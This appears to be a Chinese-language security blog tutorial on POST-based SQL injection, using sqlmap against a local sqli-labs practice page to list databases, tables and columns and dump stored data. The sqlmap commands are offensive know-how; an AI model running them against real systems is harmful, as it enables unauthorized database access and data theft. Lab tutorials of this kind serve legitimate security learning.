POST注入

Posted by Tattoo on 2019-01-20
Estimated Reading Time 2 Minutes
Words 684 In Total
Viewed Times

POST介绍

Http定义了与服务器交互的不同方法,最基本的方法有4种,分别是GET,POST,PUT,DELETE。POST方法是HTTP协议中的一个重要组成部分。POST方法一般用来向目的服务器发出更新请求,并附有请求实体。

POST被设计成用统一的方法实现下列功能:
  o 对现有资源的注释(Annotation of existing resources);
  o 向电子公告栏、新闻组,邮件列表或类似讨论组发送消息;
  o 提交数据块,如将表格(form)的结果提交给数据处理过程;
  o 通过附加操作来扩展数据库。
  o 也可用来上传文件。   

POST注入介绍

POST注入其实也比较常见,一般出现在登录框等地方。
利用POST方法传送的数据不显示在URL上,需要通过抓包获取后台数据

当我们通过HTML表单提交数据到服务器时,服务端都会在数据库中检查我们输入的数据是否符合要求,然后根据数据库搜索结果返回相应的数据给客户端。

POST注入与UNION注入相当,当检测出存在POST注入,通过抓包工具抓取数据包,对提交的参数进行修改,构造payload实现SQL注入,本次我们用工具sqlmap完成实验

利用工具实现自动化注入

当清楚了注入原理之后,可以利用工具实现自动化注入,提高渗透效率

推荐使用sqlmap,一款非常强大的自动化的SQL注入工具

利用sqlmap实现POST注入有两种方法,需要用到的参数有:
    –method POST:指定提交方式为POST
    –data:指定提交的数据
    -u:指定目标URL
    -p:指定SQL注入payload测试的参数
    -r:从一个文件中载入HTTP请求

method1:测试出注入点后,在sqlmap中输入
  sqlmap -u “http://127.0.0.1/sql1/Less-11/index.php" –method POST –data “uname=test&passwd=123456” -p uname

method2:使用burpsuite等工具抓取POST数据包,并保存到本地计算机,在sqlmap中输入
  sqlmap -r post.txt -p uname

注入成功后,获取数据库基本信息和数据

1.查询有哪些数据库

1
sqlmap -r post.txt -p uname --dbs

2.查询当前数据库

1
sqlmap -r post.txt -p uname --current-db

3.查询security数据库中有哪些表

1
sqlmap -r post.txt -p uname -D security --tables

4.查询security数据库中emails表有哪些字段

1
sqlmap -r post.txt -p uname -D security -T emails --columns

5.dump出字段中的数据

1
sqlmap -r post.txt -p uname -D security -T emails -C email_id --dump


If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !